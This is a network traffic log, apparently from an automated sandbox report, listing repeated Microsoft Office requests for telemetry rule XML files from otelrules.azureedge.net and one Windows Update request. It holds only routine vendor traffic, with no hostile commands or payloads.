Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=KpNnL6yXzLT7T33&MD=H6NOomws HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
